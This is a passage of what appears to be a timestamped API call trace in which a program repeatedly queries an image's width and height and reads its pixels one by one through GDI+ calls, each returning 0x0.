(image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=26, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=27, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.877] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=28, color=0x563e140) returned 0x0 [0056.877] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.877] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=29, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=30, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=31, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=32, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=33, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=34, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=35, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=36, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=37, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=38, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.878] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.878] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=39, color=0x563e140) returned 0x0 [0056.878] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=40, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=41, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=42, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=43, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=44, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=45, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=46, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=47, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.879] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=48, color=0x563e140) returned 0x0 [0056.879] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.879] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=49, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=50, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=51, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=52, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=53, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=54, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=55, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=56, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=57, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=58, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.880] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=59, color=0x563e140) returned 0x0 [0056.880] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.880] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=60, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=61, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=62, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=63, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=64, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=65, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=66, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=67, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=68, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=69, color=0x563e140) returned 0x0 [0056.881] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.881] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.881] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=70, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=71, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=72, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=73, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=74, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=75, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=76, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=77, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=1, y=78, color=0x563e140) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e154) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=0, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=1, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.882] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.882] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=2, color=0x563e140) returned 0x0 [0056.882] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=3, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=4, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=5, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=6, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=7, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=8, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=9, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=10, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=11, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=12, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=13, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.883] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=14, color=0x563e140) returned 0x0 [0056.883] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.883] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=15, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=16, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=17, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=18, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=19, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=20, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=21, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=22, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=23, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=24, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=25, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.884] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=26, color=0x563e140) returned 0x0 [0056.884] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.884] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=27, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=28, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=29, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=30, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=31, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=32, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=33, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=34, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=35, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=36, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=37, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=38, color=0x563e140) returned 0x0 [0056.885] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.885] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.885] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=39, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=40, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=41, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=42, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=43, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=44, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=45, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=46, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=47, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=48, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=49, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.886] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=50, color=0x563e140) returned 0x0 [0056.886] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.886] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=51, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=52, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=53, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=54, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=55, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] GdipGetImageHeight (image=0x4c35300, height=0x563e130) returned 0x0 [0056.887] GdipBitmapGetPixel (bitmap=0x4c35300, x=2, y=56, color=0x563e140) returned 0x0 [0056.887] GdipGetImageWidth (image=0x4c35300, width=0x563e130) returned 0x0 [0056.887] 